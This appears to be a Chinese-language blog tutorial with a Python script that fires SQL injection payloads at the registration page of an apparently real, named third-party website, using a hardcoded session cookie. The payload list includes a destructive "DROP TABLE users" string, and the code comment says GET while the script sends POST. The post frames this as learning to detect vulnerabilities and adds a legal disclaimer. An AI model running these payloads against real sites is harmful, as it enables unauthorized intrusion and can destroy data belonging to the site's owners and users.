在网络安全中,SQL 注入是一种常见的攻击方式,因此了解如何检测它是十分重要的。接下来,我将展示一个简单的 Python 脚本,利用 `requests` 库发送请求,以便识别潜在的 SQL 注入漏洞。
我们将目标 URL 设置为一个网站的注册页面,同时定义了一些通常的 SQL 注入负载。在脚本中,我们将对每个负载进行测试,看看是否能够成功注入,并捕获相应的异常。
首先,我们需要定义目标 URL 和初始查询参数。在这里,我们假设查询参数的名称为 name
。
import requests
from urllib.parse import urlencode
# 配置参数
url = 'http://gudaju.top/index/Login/register.html' # 目标 URL
params = {
'name': 'aaa' # 正常情况下的查询参数
}
我们定义了一些常见的 SQL 注入负载。它们的目的是通过不同的方式来尝试破坏数据库的正常逻辑。
# 常见的 SQL 注入负载
sql_injection_payloads = [
"' OR '1'='1", # 通用的布尔值注入
"' OR '1'='1' -- ", # 带注释的布尔值注入
"'; DROP TABLE users; --", # SQL 注入破坏性测试
"' OR 1=1 --", # 单引号注释
'" OR 1=1 --', # 双引号注释
"' OR 'a'='a", # 字符串布尔值注入
"' OR 'a'='a' --", # 带注释的字符串布尔值注入
"' OR 'a'='a' #" # 井号注释
]
接下来,我们使用一个循环,对每个注入负载构建带有注入内容的参数,并发送请求。我们准备好查看HTTP响应的状态码和内容,以判断是否存在漏洞。
# 发送请求并检查响应
for payload in sql_injection_payloads:
# 构造带有 SQL 注入负载的参数
injection_params = params.copy()
injection_params['name'] = params['name'] + payload
# 构造完整的 URL
injection_url = f"{url}?{urlencode(injection_params)}"
print(f"正在测试负载: {payload}")
print(f"完整 URL: {injection_url}")
try:
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
'Cookie': 'PHPSESSID=4d2085664010d51af9a81238306f69a2'
}
# 发送 HTTP GET 请求
response = requests.post(injection_url, headers=headers)
# 打印响应的状态码和长度
print(f"响应状态码: {response.status_code}")
print(f"响应长度: {len(response.text)} 字符")
print(f"响应内容: {response.text} 字符")
# 检查响应内容中是否有常见的 SQL 错误信息
if "error" in response.text.lower() or "sql" in response.text.lower():
print("[!] 可能存在 SQL 注入漏洞!")
else:
print("[+] 没有检测到明显的 SQL 注入漏洞。")
print("=" * 80)
except Exception as e:
print(f"测试过程中发生错误: {e}")
print("测试完成。")
每次发送请求后,程序将根据响应的状态码和返回内容来判断是否存在潜在的 SQL 注入漏洞。如果发现包含 "error" 或 "sql" 的信息,将提示可能的漏洞。
这个脚本提供了一个基础的 SQL 注入检测机制。虽然它不能替代专业的安全测试工具,但对于理解SQL注入的原理有很大的帮助。在实际应用中,请务必遵循法律法规,尊重他人的隐私和资料安全。
本站主要用于日常笔记的记录和生活日志。本站不保证所有内容信息可靠!(大多数文章属于搬运!)如有版权问题,请联系我立即删除:“abcdsjx@126.com”。
QQ: 1164453243
邮箱: abcdsjx@126.com